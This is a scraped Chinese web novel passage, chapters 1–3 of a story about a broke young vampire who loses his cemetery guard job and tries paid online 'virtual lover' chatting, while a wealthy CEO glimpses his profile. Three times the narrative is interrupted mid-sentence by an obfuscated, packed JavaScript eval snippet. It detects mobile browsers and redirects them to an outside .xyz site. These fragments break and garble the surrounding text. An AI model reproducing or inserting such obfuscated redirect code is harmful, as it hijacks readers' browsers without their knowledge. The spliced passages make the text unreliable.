《小吸血鬼,网恋骗钱》 1. 第 1 章 凌晨三点,墓园。 细密的雨滴打在伞布上,在头顶上连续落下沉闷的声音。 两道惨白色的手电筒光柱胡乱地晃动着,光柱下的雨丝像细小的悬针一样,一晃而过,悄无声息落入泥土里。 穿着保安制服的胖子感觉到脖子上有一阵寒意,忍不住打了个冷颤,声音有些发抖: “刚才说到哪儿了?对,夜2路公交车。” “你知道夜2路公交车为什么每天凌晨4点都会发一趟空车吗?其实那根本就不是空车,车上有东西!十二年前的一个夜里……” 胖保安话还没说完,左脚忽然往泥土里狠陷了一下,他抹了一把脸上的水珠,扭头瞪着宁尔: “我靠你推我干什么?” 他的手电下意识照到宁尔脸上,那张没有血色的脸在雨夜更显得诡异,瘦削的身材套在一件不合身的黑色保安服里,宽大的帽檐遮住了少年的半张脸。 宁尔抬起头,白皙的小下巴尖尖的,深绿色的瞳孔幽幽地看着他: “我没有。” 胖保安看着他一手撑着伞,手腕处露着半截死白的皮肤,右手拿着手电筒,好像确实没法推。 “妈的,邪门。” 他把左脚从泥里拿出来甩了甩,可能是下雨之后这块地松了。 骂了两句,胖保安继续打着手电筒,朝宁尔道: “你走后边,我在前面保护你。” 脖子上的寒意越来越重,雨滴仿佛小针般透过伞布落在身上,脚步也越来越虚浮,刚走了两步,胖保安就感觉后背上被猛地一推,直接摔了个狗吃屎。 “你他妈的……” 宁尔赶忙摆手: “真的不是我。” 他打着手电筒朝一个方向照过去,一团跑动的黑色活物,很快就消失在了黑暗里。 应该是猫。 “妈的,大雨天被猫揍,真见鬼了。” 气氛越来越阴森,胖保安开始后悔刚刚不应该讲那个鬼故事。本来是想吓吓宁尔,反而吓到了自己。 不过宁尔好像也没好到哪去,他把半张脸藏在领子下面,双臂在身侧夹地很近,拿着手电的手轻轻颤抖。 胖保安站起来,狼狈地抹了抹裤子上的泥: “那什么,小宁啊,面试时候你不是说你不怕鬼吗?你这样得扣工资啊。” 宁尔蓦然睁大眼睛看着强哥,把手电筒握地更紧一些,尽力伸了伸脖子: “我、我不怕。” “真的不怕。” “是吗?我告诉你啊,咱们这个工作怕鬼可干不了。再说了,我讲恐怖故事都是逗你玩的,世界上根本没有鬼。” 强哥拿着手电筒左右扫了扫,眼珠子滴溜溜地转了两圈,咳嗽了一声: “这样吧,今天我考验考验你,今晚你自己巡逻,能干好的话我去替你和队长说说,就不扣你工资了。” 其实,“扣工资”三个字是最好的恐怖故事。 宁尔有些不安地看着强哥: “真的吗强哥?” “真的、不会扣工资了吗?” “我什么时候骗过你?赶紧的,我先回去,别偷懒啊。” 他说完就立马消失在了黑暗里,偌大的墓园瞬间只剩宁尔一个人。 一个鬼。 不对,也可能不是一个鬼。 宁尔打了个冷颤,把雨伞举地更低了一点。 不怕,一点儿都不怕。 大家都是鬼,大不了、大不了就打一架…… 宁尔舔了舔嘴唇,把手电筒捏地更紧了些,屏住呼吸快步闷着头继续巡逻。 凌晨四点,宁尔回到保安室时胖哥已经睡着了,被宁尔动静惊醒,从简易床上坐起来揉了揉眼睛: “回来了?害怕吗?” 宁尔点点头,又摇摇头,他嘴里哈出一口薄薄的白气,把雨伞和手电筒收好,直了直身子: “一点都不怕。” “我都快要睡着了。” 强哥看傻子似的一乐,从兜里掏出几张纸钞拍在桌子上: “行,干得不错,不扣你工资了。” 宁尔看着桌上的百元红色大钞,眼睛立马亮了,小心翼翼地把七章钞票放在桌子上用手指扒拉。 100、100、10、10、10、10、10…… “强哥,不是说今天不扣了吗?” 宁尔这份工作是在墓园当保安,每天天黑之后开始上班,每两个小时巡逻一圈,一晚上的工资高达300块。 可是这一个月以来,他好像每天都在被扣工资。 强哥不自然地咳嗽了一声: “这回不是扣工资。过几天队长过生日,我们凑份子钱出去聚餐,每人100,你新来的,我和他们说就收你50吧。还不谢我?” “……谢谢强哥。” “聚餐你去吗?” 宁尔赶紧摇摇头: “我、我家里有事。” “不去的话你再多交20,给队长买包烟。” “……” “懂我意思吗?下个月的排班……” 宁尔到手的钱又要被要走,钱在手里攥紧,喉咙哽了一下,飞快地想了想强哥的话,赶紧讨好地抿了抿嘴,把钱递给强哥: “dddd。” - 宁尔回到出租屋的时候已经快天亮了。 他本来是应该搭夜2路公交车回的,但远远地看着空车在雨里驶来时,还是忍不住心里害怕,最后直接跑了回来。 反正跑得快是他做为吸血鬼为数不多的超能力。 宁尔快速洗了个澡,敲了敲对面,门没有锁,出租屋里充斥着浓郁的烟味儿,宁尔走到陈元之身后,出神地看着他的电脑屏幕,读聊天框里的字: “鲨、币、玩、意、儿、说、泥、马……” 陈元之吓了一跳,回头拍了宁尔一下: “不许说脏话。” “……” 陈元之接着比划了一个“嘘”的手势,切了一个聊天框,把麦拿到嘴边,夹着嗓子: “谢谢欣欣的大火箭。早点睡觉,不许熬夜了哦。” “谢谢兔兔妹的的大飞机。快去睡觉了小笨蛋。” 宁尔听着他夹着嗓子哄了五六个人睡觉,已经习惯了。 他把帮陈元之带的早饭放在桌子上,陈元之摘掉耳机下播,懒懒地拿出手机: “我靠,怎么又是鸭血粉丝汤啊。” 宁尔歪了歪脑袋: “你自己说的。要和我一样的。” 陈元之摆了摆手,往餐桌前走去,就看到宁尔两只膝盖上乌黑的淤青: “腿还没好啊?怎么好像还严重了?” 宁尔穿着一条黑色短裤,裤长正好在膝盖的位置。 他下意识往后缩了缩,浓重的淤青在两条光滑细白的腿上尤为清晰。 这是前段时间在墓园巡逻时候被狗追时候摔的。 当时还把保安服摔出两个洞,赔偿了200块。 “没事,过几天就好了。” 他是吸血鬼,所以身上的淤青会比人类重,其实也没有那么疼。 “这都多久了?你没去药店买药啊?” 宁尔摇摇头: “我去药店了。可是太贵了。” “……” 陈元之停下嗦粉,手指动了几下: “饭钱和药钱都给你转过去了。” “不用了元之,不用再麻烦你了,真的过几天就好了,我还给你……” “你省省吧,哥今儿赚大钱了。”陈元之擦了擦嘴: “昨晚聊天室来了个富婆,说我声音和她的高冷前男友特别像,就喜欢我用这副嗓子给她当舔狗的感觉。叫一句宝宝刷一个深水炮,嘴都叫麻了。” “深水炮?那是多少米?” 宁尔看过不少次陈元之的聊天室,耳濡目染,知道礼物=米=钱。 一个100,大概二十几个吧。早晨直接提了1000多。 1000多!! 宁尔眼睛都亮了,咽了口唾沫。 他在墓园腿都要走断了,只能赚250米。 而陈元之只需要躺在床上叫宝宝,就能得到一千米。 陈元之看着宁尔这副没见过世面的样子,勾了勾嘴角: “怎么样,这回你想干了吧?” “我都说了很简单,我长这样都能赚这么多,更别说你了。哪怕真有大哥大姐一掷千金非要和你见一面,你也是惊喜不是惊吓。” 陈元之边说边盯着宁尔那张脸,过于苍白的皮肤如薄瓷般纯净,眉弓高挑眼窝深邃,灵巧笔直的鼻梁,吃过饭会泛红的嘴唇。 还有那双异于常人的深绿色眼眸,就像宝石一样嵌在漂亮的脸蛋上。 陈元之知道宁尔很漂亮,但他有点难以形容宁尔是哪种漂亮。 漂亮得不像人。 宁尔被陈元之说得有些犹豫,他歪着脑袋想了想,试探地问道: “发一张照片,叫几个宝宝,就可以赚到米了吗?” “……倒也没那么简单。” “这个你要随机应变啊,有的人喜欢叫宝宝,有的喜欢叫姐姐,有的喜欢叫老婆,还有的喜欢叫主人呢。” 宁尔听着这些词,耳朵一红,抿住嘴唇用力: “不叫主人。” 陈元之:“主人咋啦?” “就不叫。” 小吸血鬼,永不为奴。 陈元之:“……我只是举例子,没说一定叫这个。你得看客人要求。反正就是动动嘴皮子的事儿。” “客人……都是有钱人吗?” 陈元之摇摇头: “不一定。我只能告诉你,这个软件的有钱人很多。我换过几个平台,这个平台有钱缺爱的大老板最多。” “大老板,是多大?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653318|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 陈元之看着宁尔这副不谙世事的白莲花样儿,换别人这样他早骂绿茶了。 不过宁尔不一样,宁尔好像是真的傻。 “靳伟给开车那个老板那么大吧。一辆车和一套房子一样贵。” 那确实很大了。 宁尔舔了舔嘴唇。 “那我们做这个,算是骗人吗?” 无论陈元之说得再天花乱坠,宁尔还是觉得,同时和几个女孩子说宝贝晚安,就是不对。 陈元之撇了他一眼: “都是你情我愿的事,他们缺爱我缺钱,等价交换而已,算什么骗。有的女生失恋了考研失败了怀疑世界了,都是我天天温柔安慰支持她们挺过来呢。” “而且就算真骗了,都隔着网线,他们也找不到你头上来,放心吧。” “要不是看你长得漂亮又救过靳伟,我才不拉你赚钱呢。” 陈元之又叽叽咕咕说了很多诱惑的话,眼看宁尔眼神中心动的迹象越来越明显,最后却决绝地一扭头: “别说了,元之。” 宁尔看着他的眼睛,一字一句: “我宁尔,就算是饿死,每天去菜市场数一万只鸭子,我也不会做欺骗人类的事。请你以后也不要再和我提做网络虚拟恋人的事情了。” “谢谢你,再、见。” 宁尔说完就礼貌又决绝地离开了陈元之的房间。 他回到对面自己的出租屋,十几平米狭小空间潮湿逼仄,漏风的窗户被吹得哗哗作响。 饿……真的好饿…… 距离上次买血袋已经过去十二天了。 小吸血鬼补充血袋的正常周期是7天,也就是说,他已经饿了五天了。 宁尔把门锁好,把床上那层薄薄的被褥放在另一边,掀起左侧的半张床板,脱掉鞋子躺进硬邦邦的床里,反手把床板拉下来。 幽暗闭塞的床里,腐朽木头的味道,宁尔蜷缩着身体。 打开手机玩一下。 好几条微信。 补给员:[这两天要血袋吗?] 宁尔:[要。要两个。] 加上昨晚的工资,他已经有将近2000块的存款了。足够他报复性饱餐一顿。 虽然不知道在报复谁。 补给员:[涨价了,两袋1000。直接转我就行。] 1000?! 补给员:[你不知道现在人类世界管得有多严,搞一个血袋太不容易了。] 好晕。 宁尔打开自己的余额看了看那个数字,喝不到血的饥饿感从骨髓蔓延开来,全身一点点脱力。 血对于他们吸血鬼来说不仅仅是食物,还是浸润滋养全身的养分。 宁尔手指有些颤抖,转了500块过去。 [一个。] 没等他回复完,新的微信进来。 房东阿姨:[小宁,小区房子涨价了啊,下个月起每个月多交300。] 300这个数字刺痛着宁尔的眼睛,刚刚误入人类社会时整日躲在桥洞,被流浪老头和流浪狗欺负的记忆涌上心头。 宁尔全身颤了一下。 [你要是嫌贵退租提前10天说啊,不然不退押金。] 宁尔:[我……会交的。请不要扣我的押金。] 看来今晚要更努力赚钱了。 今晚他一定好好表现,不掉进坑里,不把墓地的东西弄坏,不怕其他鬼,不让强哥摔倒。 还要每个墓碑都擦一遍…… 保安队长:[小宁,下个月来人,暂时没你的班了,你找点其他活儿干吧。] 宁尔难以置信地看着这条消息,感觉自己呼吸都有点不畅了,缓了一会儿,他打字: [队长,我也是人吖~] 保安队长:[不是。哎,小宁啊,你没有身份证和工作证,我们实在不敢多留你啊。我看你看得不错,以后有临时班叫你。] [好吧。] 他好像,又被开除了。 宁尔吸了吸鼻子,他很想和卖血袋的先把钱要回来,他好像有必要再坚持两天了。 一阵更难受的眩晕感席卷全身,宁尔感觉都有点儿看不清屏幕上的字。 最后,他打字: [队长生日快乐。蛋糕/] 保安队长:[什么生日?上个月吗?谢谢啊。] …… - 十分钟后。 宁尔站在楼道里,老旧的钨丝灯泛着昏暗的光,单薄的身体因为饥饿看起来更加柔弱,棕栗色的头发无力地垂坠在额前,一双深绿色眼睛像蒙了尘,柔弱的嘴唇轻轻颤抖。 宁尔抬手,轻轻扣响了陈元之的门。 “外卖放门口。” “元之,是我。”门口传来少年青涩犹豫的声音。 宁尔沉默了一会儿,喉头滚了滚,舔了舔嘴唇: “你觉得,亲亲小耳朵这个网名好不好吖?” 2. 第 2 章 “别动别动,保持一下。” “看镜头看镜头,怕什么啊手机又不吃你。” “眼神再往下看一点,别盯着屏幕。要那种委屈无辜让人看了就有保护欲的感觉。” 宁尔被陈元之要求换上了一件薄薄的黑色蕾丝衬衫,领口半开,坐在白墙前,拍大头照。 他不知道陈元之说得是什么感觉,只是听他的,脑袋稍微低了点,抬起眼睛,下意识控制自己不闪躲,羞赧地看向摄像头。 “可以了吗,元之?” 陈元之欣赏了一下自己的缪斯,一脸得意把手机递给宁尔: “包的。” 宁尔都长得这么方便了,拍个头像完全没难度。 宁尔接过手机,照片里的他用了一个吸血鬼的特效。 眼周有浓重的黑色烟熏妆,衬托着深绿色的眼睛。白皙的皮肤从精致的全脸延伸到脖颈,脖子上戴着一枚黑色的项圈,嘴上还有半张暗红色纹样面具。 口罩里若隐若现两只细小的牙尖。 宁尔飞快地看了一眼陈元之,心虚地砰砰砰跳了几下。 这简直就是他真实的鬼样子。 只不过他才不没有戴过项圈和那种奇怪的面具。 这张照片被设置成了“头像”,宁尔滑动手机,软件里有大厅、发现、列表还有一堆各种名字的聊天室。 “接下来呢?是不是要开聊天室?” 陈元之不打字的时候基本都在开聊天室,而且都是晚上。 大家不用露脸,只需要带好耳机,几个帅哥美女头像在里面晃动闲聊,偶尔说一点儿让宁尔鬼脸通红的话,屏幕上就会飘过礼物。 陈元之看着宁尔单纯的样儿笑了笑,摇摇头: “聊天室可不是那么简单的。别想那么多,你先干好虚拟恋人吧。” “看到你头像上那个灰色的圈了吗?一共5段,你得先找五个人聊天,解锁五个不同人的礼物,而且都得超过50块才能解锁。” “5555?” 宁尔睁大了眼睛。 只聊天,就愿意给他送50块的礼物? “对啊,如果你连虚拟恋人都搞不定,那就更没必要开聊天室了。平台流量就那么多,推荐位当然给那些自带榜一或者流量的主播上。” 陈元之又嘀嘀咕咕说了一大堆,宁尔已经听不太懂了,他现在满脑子都是怎么让陌生人给他花50块。 陈元之站起来,从电视柜下面的一叠废旧报纸书籍里翻了翻,翻出几张折皱的纸: “这是我之前自己打印的网恋攻略秘籍,送你了。” “加油哦,小耳朵。” 陈元之戏谑地叫着宁尔给自己起的网名,还有他自己挑选的那个小吸血鬼特效。 在一众猫猫狗狗兔兔耳朵里格外抢眼。 难道这就是天赋? 宁尔捏紧手机,把那份网恋攻略秘籍小心翼翼地抱在怀里,脸上有些发红,小声和陈元之道谢。 他还没谢完,门口传来钥匙开门的声音。 靳伟把西装外套搭在肩膀上,衬衫解开个扣子,寸头鬓角处残留着雨珠,一脸疲惫地把皮鞋踢掉。 “伟哥好。” 宁尔朝他点头打招呼。 “伟哥好~” 陈元之故意学宁尔说话。 “滚。”靳伟言简意赅。 “宁尔也叫,干嘛骂我啦?~” 靳伟瞥了他一眼,声音很低: “你和他比?” 宁尔横在两个人中间,有些不好意思地低了低头,虽然不知道为什么叫“伟哥”会挨骂,但靳伟哥好像很偏爱他。 陈元之切了他一声,没再计较: “今天怎么回来这么早?” 靳伟把那件和他寸头痞味儿气质很不符的西装外套搭在椅背上,揉搓了一下脑袋: “别提了,盛景集团总部要下来市场调查,朱总连夜跑了好几个厂子,开了一晚上夜车。” 宁尔本来打算离开,一听靳伟靳伟说盛景集团,两只耳朵立马都竖了起来。 靳伟看到宁尔的表情,嗤笑了一声: “对,就是有蓝宝石的那个盛景集团。” “傅、傅家?” “还记得啊。” 宁尔当然会记得了! 傅家可是有那颗独一无二蓝宝石的人类! 很多很多年以前,人类就已经和吸血鬼世界达成了友好和平契约。古老的蓝宝石就是人类和吸血鬼世界之间互通的信物。 他不知道那颗蓝宝石为什么会在那里,也不知道傅家是什么家。 他只是以前收破烂的时候,偶然在一本杂志册子上看到了那颗宝石的展览信息。 他们小吸血鬼的信物,在傅家那里只是万千宝石中的普普通通的一颗,讨厌的人类竟然还在旁边摆上了标价。 100,000,000。 1后面有那么多0。 比宁尔深夜里吧嗒的小泪珠都多。 不过自从看到那个蓝宝石之后,宁尔在人间的生活忽然有了动力。 不就是钱嘛,反正他不会死去,他可以赚100,000,000年,总能赚够的。 而自从认识靳伟和陈元之之后,宁尔的动力又多了那么一点点。 靳伟是他在工地上扛沙袋时候认识的。 当时一个放着重物的钢架倒塌,眼看就要砸在靳伟脑袋上,所有人都一瞬间愣神张着嘴难以置信叫都叫不出来时候,宁尔几乎是飞过去帮他推开了那些重物。 就这样,宁尔救了靳伟。 没过多久,工地工程烂尾,老板跑路,他被靳伟带回出租屋里和他的发小陈元之合租。 靳伟本来没想让他付房租,但宁尔说什么都不肯和别人一起住,只能给他在对面找了间阴暗潮湿的小屋子。 一个屋三个大小伙子,两个没工作。 一碗国潮牛肉拌饭,三个人分两顿。 靳伟消沉了一段儿日子,也不知道认识了什么人,再回来就变成了给盛景集团的一个孙公司的总裁开车的司机。 靳伟的工作给了宁尔新的幻想。 盛景集团…… 其实,其实他只需要借用一下那块蓝宝石,就可以回到吸血鬼世界了。 等他回去之后拿了自己家的那块,再来还给那个傅人类就好了。 他把想借用一下蓝宝石“看看”的想法告诉了靳伟和陈元之,从那天起,他俩看他的眼神都变得怜悯起来,对他也格外温柔。 他们一定也看穿了他坚强背影后的苦衷吧。 还挺好的,人。 “所以、伟哥……”宁尔满脸期待地看着靳伟。 靳伟无奈地看了宁尔一眼: “傅宴舟那个地位,朱总连他秘书都见不上,你别胡思乱想了。” 他看着宁尔瘪下去的口角,白嫩的嘴边硬生生凹出来的两个梨涡,还有那双看着他眨着的眼睛,心里叹了口气,闷声: “如果我见到他,一定告诉你,行了吧?” 宁尔眼睛亮起来,赶紧点头: “谢谢伟哥!” “不对不对” 他赶紧翻开网恋攻略秘籍看了两眼,夹了夹嗓子: “谢谢阿伟哥哥,阿伟哥哥最好啦~” “…………” 靳伟疑惑回头疑惑地看了一眼陈元之,陈元之憋着笑耸了耸肩膀。 - 陈元之回到自己的房间,掀开床板躺进去美美地补了一觉,醒来时候太阳已经下了山,天空中只留下一点干净的深蓝色余光。 忽然间不用去墓园上班,宁尔还稍稍有些不适应。 他换了套干净的睡衣,把整洁的屋子弄得更整洁了一点,给自己泡了一杯pdd上1分钱领的补血茶,坐在椅子上,双手环抱住膝盖,开始认真打开“缘来”软件。 陈元之告诉他,要多发动态。 这里的动态圈就像朋友圈一样,是他假扮一个角色立人设,让客人喜欢自己的一个途径。 可怜的小穷鬼这个人设就很好,容易惹富婆怜爱。 更何况,他也不算是扮演了,而是本色出演。 宁尔瞬间有了思路,低头,伸出一条发青的膝盖,拍了一下那片淤血。 文案: [什么时候才能痊愈呢?叹气/叹气/] 宁尔放大这张照片,满意地抿了抿唇。 回到主页,开始骚扰小帅小美。 [您好。] [你好吖~] [小姐姐晚上好] [美女,要陪陪吗?] [自拍] [自拍] [还在空虚寂寞吗?还在一个人喝酒吗?只要你主动点击我的头像,缘分就来了。]35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653319|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 暂时没有人回复。 宁尔等待的时候继续看那份网恋攻略,一个小时过去了,两个小时过去…… “叮——” 手机传来“叮”的一声。 宁尔眼睛一亮,打开一看,是一个卡通粉色兔兔头像的女生。 萌萌兔:[你好吖小耳朵~] [你好小兔子~可爱/] 宁尔赶紧有些害羞地打字。 他从小被爸妈管得很严,除了上课之外还要学习很多超能力,他去年才刚刚18岁,在过往的18年里,都没有和几个女鬼说过话。 更别说女人了。 小兔子和他寒暄了几句,终于问: [小耳朵,你能帮我一个忙吗?] 来了,要来了。 问他能不能做她的恋人吗? 这个时候要50块,是不是可以了? 小兔子这么真诚,你却只想着怎么和她骗钱。 宁尔,你真得好坏。 亲亲小耳朵:[可以呀,你说你说~] 小兔子:[在Rt△ABC中,∠C=90°,AB=5,AC=3,则sinB=_____] ………… 数学题啊。 宁尔垮下小脸,打字: [对不起,我不会。] 小兔子:[不是吧?初中题都不会?你小学生啊?] 宁尔:“…………” 亲亲小耳朵:[初中生,不应该玩这种软件。] 小兔子:[我才没玩,我就是来问题的。别人都会,只有你是小学生。] 小兔子说完就把他拉黑了。 宁尔心里稍稍有些泄气,不过很快又有人回他了。 AKA:[玩么?] 亲亲小耳朵:[玩哪个呀?] AKA:[就那个呗。来这儿还能玩什么?] 宁尔心怦怦跳起来,这个好像终于不是来学习的了。 亲亲小耳朵:[怎么玩?] AKA:[角色扮演呗,半小时50r。] 亲亲小耳朵:[玩!] AKA:[跪下,叫主人。] “………………” 亲亲小耳朵:[不叫。] AKA:[?] [换个别的。] [不换。为什么不叫?] 沉默了一会儿,亲亲小耳朵: [新中国没有奴隶。] 宁尔不再和这个人聊天,他退出界面,躺在床上,举着手机茫然滑动着。 他主动和20多个人聊天,除了这两个之外,再没有人回他了。 一点也不简单吖。 捡破烂、数鸭子、抗沙子、当保安,人类夜里能做的工作他好像都做过了。 他不能见阳光,也没有身份证,如果虚拟恋人也做不好的话,宁尔好像真的不知道他该怎么活下去了。 会不会因为没钱买血袋,活活饿死在人类世界。 会被火烧掉吧? 吸血鬼被火烧掉,会好疼好疼吧…… 宁尔闭着眼睛趴在床上,脑子里乱嗡嗡地先想了很多很多。 大概过了两个小时,一声“叮~”响,一个没有头像,名字叫用户31980的人主动给他发了消息: 爱心/爱心/转圈圈/转圈圈/ 这是他收到的第一条主动消息! 宁尔一骨碌爬起来,揉了揉眼睛,快速用两根手指敲字过去: [你好吖] [我看不到你的头像和网名,请问你是gg还是mm?”] 用户32980:[天使/天使/爱心/爱心/转圈圈/] 天使……丘比特……应该是男人。 男人? 宁尔愣神了一下,为什么会有男人找自己? 不过……骗男人的话,会不会比骗女孩子好一点呢…… 这个想法稍稍打消了宁尔的一点愧疚心,他打字: [先生您好,我是小耳朵。很高兴遇到你。] 没有回复了。 宁尔等了好几分钟,对面都没有要回复的意思。 宁尔有些慌神,他不想再失败了,犹豫了三秒,咬着嘴唇打字: [先生您好,其实我不是小耳朵,我是小吸血鬼。] [V我500,看小吸血鬼辣舞。] 3. 第 3 章 傅宴舟摘掉金丝眼镜,闭上眼睛,手指掐了掐眉心。 傅桐嘻嘻哈哈的孩童嬉笑怪叫声时不时从办公室外间传来,傅宴舟看了眼腕上的手表,朝门外沉声道: “童童。” 办公室门被象征性敲了两声,秘书恭敬地打开门: “傅总。” 四岁的小侄子手里抱着个平板,开心地从座椅上下来,朝傅宴舟跑来: “叔叔!” 傅宴舟伸手拦截住这个小炮弹,一旁的秘书赶紧解释: “傅总,小少爷今日的益智活动已经都完成了。平板也只看了十分钟。” 傅宴舟没答话,看着童童还在津津有味地用手指在平板上戳动着什么,问他: “你在玩什么?” 童童像是找到了什么宝藏一样,乐呵呵地抬起头,用说不清地话告诉傅宴舟: “小吸血dui~” “什么?” 傅宴舟皱了皱眉。 童童把平板举到傅宴舟面前: “叔叔看,小吸血dui~” 傅宴舟把平板拿起来,不知道哪儿冒出来的垃圾软件。 屏幕上,对话框里,停留着一句话: [V我500,看小吸血鬼辣舞。] 傅宴舟点看完了几句聊天记录,点开对面人的头像。 开了十级美颜磨皮的头像,劣质不贴合的吸血鬼特效,夸张暗示的红色面具—— 像是个十七八岁的男孩。 特效遮挡了他大部分面容,依稀能看出来营养不良的白色皮肤,缺少阳光照射的泛黄头发。 少年的瞳孔深绿,眼神中带着一点儿无辜的倔劲儿,更多的是一种漂亮之后掩藏不住的迷茫。 这抹深绿色算是唯一拿得出手的特效渲染。 让傅宴舟的目光忍不住在这双眼睛上多停留了一会儿。 仅仅是几秒钟。 傅宴舟退出软件,看到了图标,一个小丘比特天使。 确实能吸引四岁小孩乱点。 应该也只能吸引四岁小孩。 傅宴舟极其轻微地冷嗤了一声,敛眸,用手指优雅地长按住软件的图标,低声对傅桐说: “童童害怕吸血鬼么?” 小男孩下意识想说不怕,我要带着汪汪队舰队抓吸血鬼,但又想了一下,不知道想到了什么恐怖故事,一张小脸上渐渐浮现出害怕的神情,小嘴巴张了张。 “这个世界上没有吸血鬼。” 劣质软件在抖动,傅宴舟仿佛透过这个图标看到了刚刚那个扮演吸血鬼的漂亮男孩在抖动。 傅宴舟手指利落地点了×。 平板自然地被反扣在桌上,秘书脑袋汗涔涔地更低了一点。 天塌了。 天知道这个小祖宗是怎么自己学会下载软件的。 傅宴舟身高190,身材匀称,常年健身体脂率保持在12%,意大利高定黑色衬衫扣到领口最顶一颗,烟雾黑的衬衫布料勾勒出完美的胸肌、背肌轮廓。 倒三角的窄腰上系着一条黑色手工定制皮带,两条修长的腿踩在波斯长毛地毯上,浑身上下写着老钱系禁欲霸总。 不出意外的话,这个平板应该活不过今晚了。 秘书心里惊涛骇浪,傅宴舟两条长腿交叠起来: “肖特助那边怎么样了?” 秘书如梦初醒,赶紧汇报: “斑森公司的总裁和副总裁昨天就从东南亚到S市了,现在还在公司等您。他们的材料已经递送肖特助,但还是想见您亲自汇报。” 秘书说着顺手翻开手里的笔记本,画面上是接待室的事实监控画面。 两个东南亚长相的男人正穿着西装,在会议室里坐立不安地走来走去,时不时抬头看看脑袋顶上的监控。 傅宴舟撇了一眼电脑屏幕,没发话。 秘书飞快揣摩了一下董事长的意思,轻咳了一声: “傅总,给他们安排二十分钟汇报可以吗?” “童童,困了么?” 傅宴舟沉声问。 童童本来不敢插话,小叔叔一问,赶紧点头揉眼睛: “困,童童困,叔叔带童童回家睡觉。 傅宴舟眼神冷冽地撇了秘书一眼,皮鞋尖点地,稍稍旋转座椅起身,伸手把童童抱起来,语气稍微轻柔了一些: “走吧,回家睡觉。” “揣摩领导心意的本事,多和肖特助学学。” “是、是。领导批评得对。” “不过……傅总……” 王秘书跟傅宴舟不算久,胜在人机灵,今天这么支支吾吾的时候少见。 傅宴舟停下脚步,给他最后一次说话的机会。 “傅总,我们私下了解到,如果终止合作斑森公司下面的70多个厂子都面临关停,其中一半都靠近原材料,属于当地贫困落后地区。这次从东南亚来S市的远远不止几个高层领导。” 童童安静地趴在傅宴舟肩头,傅宴微微偏头: “不止高层?还来了什么人?威胁我?” “他们不敢。” 傅宴舟冷冷一嗤: “依靠华国背景当保护伞,打着实业办厂的旗号违法敛财,出事反倒拿出厂工生讨机会。摇着尾巴把盛景当救济站了么?” 傅宴舟撇了一眼视频画面里还在坐立不安的几个人,目光更冷冽了几分,浓重的黑瞳中盛敛情绪: “从明天开始,不允许斑森方的任何人踏进盛景半步。” 傅宴舟说完话就抱着童童,踩着波斯长毛地毯往78层专用电梯走去了。 王秘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653320|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书在后面飞速合上笔记本电脑,连连点头说好的好的。 傅总自从坐稳盛景集团这个CEO之后很少有这么发怒的时候。但他也大概知道这怒意的缘由。 傅总雷厉风行铁血手腕,从傅家众多子女中脱颖而出,一度在企业危难之际掉转舵头重新挽救盛景,让盛景市值飙升大几十亿。 这样说一不二的人,最恨别人妄图左右他。 - 宁尔发完那句话之后紧张了半天。 他一遍又一遍地看着视频学习人类的舞蹈,边看边在心里暗暗记动作。 网恋攻略上说,网恋三大法宝: 声娇,体软,脾气好。 翻译一下就是声音要好听,最好会跳舞,还要甜甜地哄着对方。 跳舞也分好多种。 甜舞、辣舞与尬舞。 其实他刚刚打开舞蹈的视频看了一会儿。 跳甜舞的人大概会带一个萌萌的发饰,穿着可爱的T恤或者卫衣,跟着简单的节奏晃动四肢。 相比于肢体,更重要的是表情要丰富可爱。 嘟嘴、微笑,眨眼、眯眼笑,挑眉。 他心虚地关了视频。 可爱。 他最多在文字上假装一下,但真鬼是永远无法和可爱沾边的。 宁尔又打开了辣舞的视频。 他看着视频里那些幅度夸张的扭动动作,暗暗想着吸血鬼身体的柔韧程度,扭捏胯部、蜿蜒脊背,露出大腿,宁尔毫不费力就能做到。 就选辣舞。 越辣越好看,越好看越值米。 一种奇怪的信心和对新工作的跃跃欲试在宁尔心中滋生,他舔舔嘴唇,仿佛已经听到了支付宝到账到账到账的优美声音。 可是宁尔等了好久,那个用户先生没有回消息。 不仅他没有回,他的软件也再没有过动静。 是用户先生去忙了吗? 用户先生是在准备充钱吗? 宁尔刚想趁热打铁再发一句,屏幕上忽然弹出一个大大的红色飘窗: [您的账号由于违规被举报封禁,封禁时长:72小时;封禁原因:不明。请您自觉遵守“缘来”社区聊天秩序,共建网恋美好家园。] 宁尔呆呆地看着这个刺眼的弹窗,刚刚打算辣舞的一腔热血瞬间变冷。 冷得宁尔打了个哆嗦。 他仿佛听到了什么碎裂的声音。 是天塌了吗? 不想看可以不看嘛,为什么要举报? 气、冷、抖。 宁尔心里憋着气,小脸委屈巴巴地垮下来,点开用户31980的头像想要干脆直接把他删掉。 ——压根没有添加好友。 